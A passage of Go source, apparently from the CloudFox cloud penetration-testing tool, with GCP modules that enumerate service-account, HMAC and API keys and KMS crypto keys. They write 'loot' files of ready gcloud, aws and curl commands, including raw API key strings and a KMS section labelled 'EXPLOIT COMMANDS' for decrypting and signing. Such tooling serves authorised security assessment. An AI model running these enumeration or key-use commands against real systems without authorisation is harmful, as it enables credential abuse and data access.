|
||||
keyID = parts[len(parts)-1]
|
||||
}
|
||||
|
||||
origin := "Google Managed"
|
||||
if key.KeyType == "USER_MANAGED" {
|
||||
origin = "User Managed"
|
||||
}
|
||||
|
||||
state := "ACTIVE"
|
||||
if key.Disabled {
|
||||
state = "DISABLED"
|
||||
}
|
||||
|
||||
expired := false
|
||||
if !key.ValidBefore.IsZero() && time.Now().After(key.ValidBefore) {
|
||||
expired = true
|
||||
}
|
||||
|
||||
projectKeys = append(projectKeys, UnifiedKeyInfo{
|
||||
ProjectID: projectID,
|
||||
KeyType: "SA Key",
|
||||
KeyID: keyID,
|
||||
Owner: sa.Email,
|
||||
DisplayName: sa.DisplayName,
|
||||
Origin: origin,
|
||||
Algorithm: key.KeyAlgorithm,
|
||||
State: state,
|
||||
CreateTime: key.ValidAfter,
|
||||
ExpireTime: key.ValidBefore,
|
||||
Expired: expired,
|
||||
DWDEnabled: dwdEnabled,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Enumerate HMAC Keys
|
||||
hmacService := hmacservice.New()
|
||||
hmacKeys, err := hmacService.ListHMACKeys(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate HMAC keys in project %s", projectID))
|
||||
} else {
|
||||
for _, key := range hmacKeys {
|
||||
origin := "Service Account"
|
||||
// Note: User HMAC keys are not enumerable via API, so all we see are SA keys
|
||||
|
||||
projectKeys = append(projectKeys, UnifiedKeyInfo{
|
||||
ProjectID: projectID,
|
||||
KeyType: "HMAC",
|
||||
KeyID: key.AccessID,
|
||||
Owner: key.ServiceAccountEmail,
|
||||
DisplayName: "",
|
||||
Origin: origin,
|
||||
State: key.State,
|
||||
CreateTime: key.TimeCreated,
|
||||
Expired: false, // HMAC keys don't expire
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Enumerate API Keys
|
||||
apiKeysService := apikeysservice.New()
|
||||
apiKeys, err := apiKeysService.ListAPIKeysWithKeyStrings(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate API keys in project %s", projectID))
|
||||
} else {
|
||||
for _, key := range apiKeys {
|
||||
// Extract key ID from full name
|
||||
keyID := key.UID
|
||||
if keyID == "" {
|
||||
if parts := strings.Split(key.Name, "/"); len(parts) > 0 {
|
||||
keyID = parts[len(parts)-1]
|
||||
}
|
||||
}
|
||||
|
||||
state := "ACTIVE"
|
||||
if !key.DeleteTime.IsZero() {
|
||||
state = "DELETED"
|
||||
}
|
||||
|
||||
restrictions := "None"
|
||||
if key.HasRestrictions {
|
||||
restrictions = key.RestrictionType
|
||||
if len(key.AllowedAPIs) > 0 {
|
||||
restrictions = fmt.Sprintf("%s (APIs: %d)", key.RestrictionType, len(key.AllowedAPIs))
|
||||
}
|
||||
}
|
||||
|
||||
projectKeys = append(projectKeys, UnifiedKeyInfo{
|
||||
ProjectID: projectID,
|
||||
KeyType: "API Key",
|
||||
KeyID: keyID,
|
||||
Owner: "Project-level",
|
||||
DisplayName: key.DisplayName,
|
||||
Origin: "-",
|
||||
State: state,
|
||||
CreateTime: key.CreateTime,
|
||||
Expired: false, // API keys don't expire
|
||||
Restrictions: restrictions,
|
||||
KeyString: key.KeyString,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectKeys[projectID] = projectKeys
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["keys-hmac-s3-commands"] = &internal.LootFile{
|
||||
Name: "keys-hmac-s3-commands",
|
||||
Contents: "# HMAC S3-Compatible Access Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["keys-apikey-test-commands"] = &internal.LootFile{
|
||||
Name: "keys-apikey-test-commands",
|
||||
Contents: "# API Key Test Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[projectID]["keys-enumeration-commands"] = &internal.LootFile{
|
||||
Name: "keys-enumeration-commands",
|
||||
Contents: "# Key Enumeration Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range projectKeys {
|
||||
m.addKeyToLoot(projectID, key)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *KeysModule) addKeyToLoot(projectID string, key UnifiedKeyInfo) {
|
||||
switch key.KeyType {
|
||||
case "SA Key":
|
||||
// Add enumeration commands for user-managed SA keys, especially old ones
|
||||
if key.Origin == "User Managed" {
|
||||
lootFile := m.LootMap[projectID]["keys-enumeration-commands"]
|
||||
if lootFile != nil {
|
||||
age := "-"
|
||||
ageWarning := ""
|
||||
if !key.CreateTime.IsZero() {
|
||||
ageDuration := time.Since(key.CreateTime)
|
||||
age = formatKeyAge(ageDuration)
|
||||
days := int(ageDuration.Hours() / 24)
|
||||
if days >= 365 {
|
||||
ageWarning = " [OLD KEY - " + age + "]"
|
||||
} else if days >= 90 {
|
||||
ageWarning = " [" + age + " old]"
|
||||
}
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SA Key: %s%s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Created: %s (Age: %s)\n"+
|
||||
"# Origin: %s\n\n"+
|
||||
"# List all keys for this service account:\n"+
|
||||
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n\n"+
|
||||
"# Describe specific key:\n"+
|
||||
"gcloud iam service-accounts keys get-public-key %s --iam-account=%s --project=%s\n\n",
|
||||
key.KeyID,
|
||||
ageWarning,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
key.CreateTime.Format("2006-01-02"),
|
||||
age,
|
||||
key.Origin,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
key.KeyID,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
case "HMAC":
|
||||
if key.State == "ACTIVE" {
|
||||
lootFile := m.LootMap[projectID]["keys-hmac-s3-commands"]
|
||||
if lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# HMAC Key: %s\n"+
|
||||
"# Service Account: %s\n"+
|
||||
"# Project: %s\n\n"+
|
||||
"# Configure AWS CLI with HMAC credentials:\n"+
|
||||
"aws configure set aws_access_key_id %s\n"+
|
||||
"aws configure set aws_secret_access_key <SECRET_KEY_HERE>\n\n"+
|
||||
"# List buckets via S3-compatible endpoint:\n"+
|
||||
"aws --endpoint-url https://storage.googleapis.com s3 ls\n\n",
|
||||
key.KeyID,
|
||||
key.Owner,
|
||||
key.ProjectID,
|
||||
key.KeyID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
case "API Key":
|
||||
if key.KeyString != "" {
|
||||
lootFile := m.LootMap[projectID]["keys-apikey-test-commands"]
|
||||
if lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# API Key: %s (%s)\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Restrictions: %s\n\n"+
|
||||
"# Test API access:\n"+
|
||||
"curl -H 'X-Goog-Api-Key: %s' 'https://maps.googleapis.com/maps/api/geocode/json?address=test'\n"+
|
||||
"curl -H 'X-Goog-Api-Key: %s' 'https://translation.googleapis.com/language/translate/v2?q=Hello&target=es'\n\n",
|
||||
key.KeyID,
|
||||
key.DisplayName,
|
||||
key.ProjectID,
|
||||
key.Restrictions,
|
||||
key.KeyString,
|
||||
key.KeyString,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *KeysModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getTableHeader returns the header for the keys table
|
||||
func (m *KeysModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Key Type",
|
||||
"Key ID",
|
||||
"Owner",
|
||||
"Origin",
|
||||
"Algorithm",
|
||||
"State",
|
||||
"Created",
|
||||
"Expires",
|
||||
"Age",
|
||||
"DWD",
|
||||
"Restrictions",
|
||||
}
|
||||
}
|
||||
|
||||
// keysToTableBody converts keys to table body rows
|
||||
func (m *KeysModule) keysToTableBody(keys []UnifiedKeyInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, key := range keys {
|
||||
created := "-"
|
||||
if !key.CreateTime.IsZero() {
|
||||
created = key.CreateTime.Format("2006-01-02")
|
||||
}
|
||||
|
||||
// Calculate age
|
||||
age := "-"
|
||||
if !key.CreateTime.IsZero() {
|
||||
age = formatKeyAge(time.Since(key.CreateTime))
|
||||
}
|
||||
|
||||
expires := "-"
|
||||
if !key.ExpireTime.IsZero() {
|
||||
// Check for "never expires" (year 9999)
|
||||
if key.ExpireTime.Year() >= 9999 {
|
||||
expires = "Never"
|
||||
} else {
|
||||
expires = key.ExpireTime.Format("2006-01-02")
|
||||
}
|
||||
}
|
||||
|
||||
dwd := "-"
|
||||
if key.KeyType == "SA Key" {
|
||||
if key.DWDEnabled {
|
||||
dwd = "Yes"
|
||||
} else {
|
||||
dwd = "No"
|
||||
}
|
||||
}
|
||||
|
||||
restrictions := "-"
|
||||
if key.KeyType == "API Key" {
|
||||
restrictions = key.Restrictions
|
||||
}
|
||||
|
||||
algorithm := key.Algorithm
|
||||
if algorithm == "" {
|
||||
algorithm = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
key.ProjectID,
|
||||
m.GetProjectName(key.ProjectID),
|
||||
key.KeyType,
|
||||
key.KeyID,
|
||||
key.Owner,
|
||||
key.Origin,
|
||||
algorithm,
|
||||
key.State,
|
||||
created,
|
||||
expires,
|
||||
age,
|
||||
dwd,
|
||||
restrictions,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// formatKeyAge formats a duration into a human-readable age string
|
||||
func formatKeyAge(d time.Duration) string {
|
||||
days := int(d.Hours() / 24)
|
||||
if days >= 365 {
|
||||
years := days / 365
|
||||
remainingDays := days % 365
|
||||
months := remainingDays / 30
|
||||
if months > 0 {
|
||||
return fmt.Sprintf("%dy %dm", years, months)
|
||||
}
|
||||
return fmt.Sprintf("%dy", years)
|
||||
} else if days >= 30 {
|
||||
months := days / 30
|
||||
remainingDays := days % 30
|
||||
if remainingDays > 0 {
|
||||
return fmt.Sprintf("%dm %dd", months, remainingDays)
|
||||
}
|
||||
return fmt.Sprintf("%dm", months)
|
||||
}
|
||||
return fmt.Sprintf("%dd", days)
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *KeysModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, keys := range m.ProjectKeys {
|
||||
body := m.keysToTableBody(keys)
|
||||
tableFiles := []internal.TableFile{{
|
||||
Name: "keys",
|
||||
Header: m.getTableHeader(),
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = KeysOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_KEYS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *KeysModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allKeys := m.getAllKeys()
|
||||
body := m.keysToTableBody(allKeys)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !isEmptyLootFile(loot.Contents) {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{{
|
||||
Name: "keys",
|
||||
Header: m.getTableHeader(),
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
output := KeysOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_KEYS_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,564 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
KMSService "github.com/BishopFox/cloudfox/gcp/services/kmsService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPKMSCommand = &cobra.Command{
|
||||
Use: globals.GCP_KMS_MODULE_NAME,
|
||||
Aliases: []string{"crypto", "encryption-keys"},
|
||||
Short: "Enumerate Cloud KMS key rings and crypto keys with security analysis",
|
||||
Long: `Enumerate Cloud KMS key rings and crypto keys across projects with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all KMS key rings and crypto keys
|
||||
- Shows key purpose (encryption, signing, MAC)
|
||||
- Identifies protection level (software, HSM, external)
|
||||
- Shows rotation configuration and status
|
||||
- Detects public key access via IAM
|
||||
- Generates gcloud commands for key operations
|
||||
|
||||
Security Columns:
|
||||
- Purpose: ENCRYPT_DECRYPT, ASYMMETRIC_SIGN, ASYMMETRIC_DECRYPT, MAC
|
||||
- Protection: SOFTWARE, HSM, EXTERNAL, EXTERNAL_VPC
|
||||
- Rotation: Key rotation period and next rotation time
|
||||
- PublicDecrypt: Whether allUsers/allAuthenticatedUsers can decrypt
|
||||
|
||||
Resource IAM Columns:
|
||||
- IAM Binding Role: The IAM role granted ON this key (e.g., roles/cloudkms.cryptoKeyDecrypter)
|
||||
- IAM Binding Principal: The principal (user/SA/group) who has that role on this key
|
||||
|
||||
Attack Surface:
|
||||
- Public decrypt access allows unauthorized data access
|
||||
- Keys without rotation may be compromised long-term
|
||||
- HSM vs software protection affects key extraction risk
|
||||
- External keys indicate third-party key management`,
|
||||
Run: runGCPKMSCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type KMSModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectKeyRings map[string][]KMSService.KeyRingInfo
|
||||
ProjectCryptoKeys map[string][]KMSService.CryptoKeyInfo
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type KMSOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o KMSOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o KMSOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPKMSCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_KMS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &KMSModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectKeyRings: make(map[string][]KMSService.KeyRingInfo),
|
||||
ProjectCryptoKeys: make(map[string][]KMSService.CryptoKeyInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *KMSModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_KMS_MODULE_NAME, m.processProject)
|
||||
|
||||
// Get all data for stats
|
||||
allKeyRings := m.getAllKeyRings()
|
||||
allCryptoKeys := m.getAllCryptoKeys()
|
||||
|
||||
if len(allCryptoKeys) == 0 {
|
||||
logger.InfoM("No KMS keys found", globals.GCP_KMS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count security-relevant metrics
|
||||
hsmCount := 0
|
||||
publicDecryptCount := 0
|
||||
for _, key := range allCryptoKeys {
|
||||
if key.ProtectionLevel == "HSM" {
|
||||
hsmCount++
|
||||
}
|
||||
if key.IsPublicDecrypt {
|
||||
publicDecryptCount++
|
||||
}
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("Found %d key ring(s), %d key(s)", len(allKeyRings), len(allCryptoKeys))
|
||||
if hsmCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d HSM]", hsmCount)
|
||||
}
|
||||
if publicDecryptCount > 0 {
|
||||
msg += fmt.Sprintf(" [%d PUBLIC DECRYPT!]", publicDecryptCount)
|
||||
}
|
||||
logger.SuccessM(msg, globals.GCP_KMS_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllKeyRings returns all key rings from all projects
|
||||
func (m *KMSModule) getAllKeyRings() []KMSService.KeyRingInfo {
|
||||
var all []KMSService.KeyRingInfo
|
||||
for _, keyRings := range m.ProjectKeyRings {
|
||||
all = append(all, keyRings...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllCryptoKeys returns all crypto keys from all projects
|
||||
func (m *KMSModule) getAllCryptoKeys() []KMSService.CryptoKeyInfo {
|
||||
var all []KMSService.CryptoKeyInfo
|
||||
for _, keys := range m.ProjectCryptoKeys {
|
||||
all = append(all, keys...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *KMSModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating KMS in project: %s", projectID), globals.GCP_KMS_MODULE_NAME)
|
||||
}
|
||||
|
||||
ks := KMSService.New()
|
||||
|
||||
// Initialize loot for this project
|
||||
m.mu.Lock()
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["kms-commands"] = &internal.LootFile{
|
||||
Name: "kms-commands",
|
||||
Contents: "# KMS Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Get key rings
|
||||
keyRings, err := ks.KeyRings(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_KMS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate KMS key rings in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Get crypto keys
|
||||
keys, err := ks.CryptoKeys(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_KMS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate KMS keys in project %s", projectID))
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectKeyRings[projectID] = keyRings
|
||||
m.ProjectCryptoKeys[projectID] = keys
|
||||
|
||||
for _, key := range keys {
|
||||
m.addKeyToLoot(projectID, key)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d key ring(s), %d key(s) in project %s", len(keyRings), len(keys), projectID), globals.GCP_KMS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *KMSModule) addKeyToLoot(projectID string, key KMSService.CryptoKeyInfo) {
|
||||
lootFile := m.LootMap[projectID]["kms-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# KMS KEY: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s, KeyRing: %s, Location: %s\n"+
|
||||
"# Purpose: %s, Protection: %s\n",
|
||||
key.Name,
|
||||
key.ProjectID, key.KeyRing, key.Location,
|
||||
key.Purpose, key.ProtectionLevel,
|
||||
)
|
||||
|
||||
// Commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"\n# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe key:\n"+
|
||||
"gcloud kms keys describe %s --keyring=%s --location=%s --project=%s\n"+
|
||||
"# Get IAM policy:\n"+
|
||||
"gcloud kms keys get-iam-policy %s --keyring=%s --location=%s --project=%s\n"+
|
||||
"# List versions:\n"+
|
||||
"gcloud kms keys versions list --key=%s --keyring=%s --location=%s --project=%s\n",
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
)
|
||||
|
||||
// Purpose-specific commands
|
||||
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
|
||||
switch key.Purpose {
|
||||
case "ENCRYPT_DECRYPT":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Encrypt data:\n"+
|
||||
"echo -n 'secret data' | gcloud kms encrypt --key=%s --keyring=%s --location=%s --project=%s --plaintext-file=- --ciphertext-file=encrypted.bin\n"+
|
||||
"# Decrypt data:\n"+
|
||||
"gcloud kms decrypt --key=%s --keyring=%s --location=%s --project=%s --ciphertext-file=encrypted.bin --plaintext-file=-\n",
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
)
|
||||
case "ASYMMETRIC_SIGN":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Sign data:\n"+
|
||||
"gcloud kms asymmetric-sign --key=%s --keyring=%s --location=%s --project=%s --version=1 --digest-algorithm=sha256 --input-file=data.txt --signature-file=signature.bin\n"+
|
||||
"# Get public key:\n"+
|
||||
"gcloud kms keys versions get-public-key 1 --key=%s --keyring=%s --location=%s --project=%s\n",
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
)
|
||||
case "ASYMMETRIC_DECRYPT":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Decrypt data:\n"+
|
||||
"gcloud kms asymmetric-decrypt --key=%s --keyring=%s --location=%s --project=%s --version=1 --ciphertext-file=encrypted.bin --plaintext-file=-\n"+
|
||||
"# Get public key:\n"+
|
||||
"gcloud kms keys versions get-public-key 1 --key=%s --keyring=%s --location=%s --project=%s\n",
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
key.Name, key.KeyRing, key.Location, key.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *KMSModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getKeysHeader returns the header for the crypto keys table
|
||||
func (m *KMSModule) getKeysHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Key Name",
|
||||
"Key Ring",
|
||||
"Location",
|
||||
"Purpose",
|
||||
"Protection",
|
||||
"Version",
|
||||
"State",
|
||||
"Rotation",
|
||||
"Public Encrypt",
|
||||
"Public Decrypt",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getKeyRingsHeader returns the header for the key rings table
|
||||
func (m *KMSModule) getKeyRingsHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Key Ring",
|
||||
"Location",
|
||||
"Key Count",
|
||||
}
|
||||
}
|
||||
|
||||
// keysToTableBody converts crypto keys to table body rows
|
||||
func (m *KMSModule) keysToTableBody(keys []KMSService.CryptoKeyInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, key := range keys {
|
||||
// Format rotation
|
||||
rotation := "-"
|
||||
if key.RotationPeriod != "" {
|
||||
rotation = formatDuration(key.RotationPeriod)
|
||||
}
|
||||
|
||||
// Format protection level
|
||||
protection := key.ProtectionLevel
|
||||
if protection == "" {
|
||||
protection = "SOFTWARE"
|
||||
}
|
||||
|
||||
// If key has IAM bindings, create one row per binding
|
||||
if len(key.IAMBindings) > 0 {
|
||||
for _, binding := range key.IAMBindings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(key.ProjectID),
|
||||
key.Name,
|
||||
key.KeyRing,
|
||||
key.Location,
|
||||
formatPurpose(key.Purpose),
|
||||
protection,
|
||||
key.PrimaryVersion,
|
||||
key.PrimaryState,
|
||||
rotation,
|
||||
shared.BoolToYesNo(key.IsPublicEncrypt),
|
||||
shared.BoolToYesNo(key.IsPublicDecrypt),
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// No IAM bindings - single row
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(key.ProjectID),
|
||||
key.Name,
|
||||
key.KeyRing,
|
||||
key.Location,
|
||||
formatPurpose(key.Purpose),
|
||||
protection,
|
||||
key.PrimaryVersion,
|
||||
key.PrimaryState,
|
||||
rotation,
|
||||
shared.BoolToYesNo(key.IsPublicEncrypt),
|
||||
shared.BoolToYesNo(key.IsPublicDecrypt),
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// keyRingsToTableBody converts key rings to table body rows
|
||||
func (m *KMSModule) keyRingsToTableBody(keyRings []KMSService.KeyRingInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, kr := range keyRings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(kr.ProjectID),
|
||||
kr.Name,
|
||||
kr.Location,
|
||||
fmt.Sprintf("%d", kr.KeyCount),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// buildTablesForProject builds table files for a single project
|
||||
func (m *KMSModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
keys := m.ProjectCryptoKeys[projectID]
|
||||
keyRings := m.ProjectKeyRings[projectID]
|
||||
|
||||
keysBody := m.keysToTableBody(keys)
|
||||
keyRingsBody := m.keyRingsToTableBody(keyRings)
|
||||
|
||||
var tableFiles []internal.TableFile
|
||||
if len(keysBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_KMS_MODULE_NAME + "-keys",
|
||||
Header: m.getKeysHeader(),
|
||||
Body: keysBody,
|
||||
})
|
||||
}
|
||||
if len(keyRingsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_KMS_MODULE_NAME + "-keyrings",
|
||||
Header: m.getKeyRingsHeader(),
|
||||
Body: keyRingsBody,
|
||||
})
|
||||
}
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *KMSModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
